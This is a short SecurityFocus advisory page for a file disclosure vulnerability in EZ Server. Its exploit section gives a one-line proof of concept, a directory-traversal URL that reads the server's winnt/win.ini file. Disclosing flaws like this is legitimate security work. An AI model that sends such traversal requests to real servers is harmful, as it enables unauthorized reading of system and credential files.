info
discussion
exploit
solution
references
EZ Server File Disclosure Vulnerability
The following proof of concept was provided:
http://[target]/../../winnt/win.ini
Privacy Statement
Copyright 2010, SecurityFocus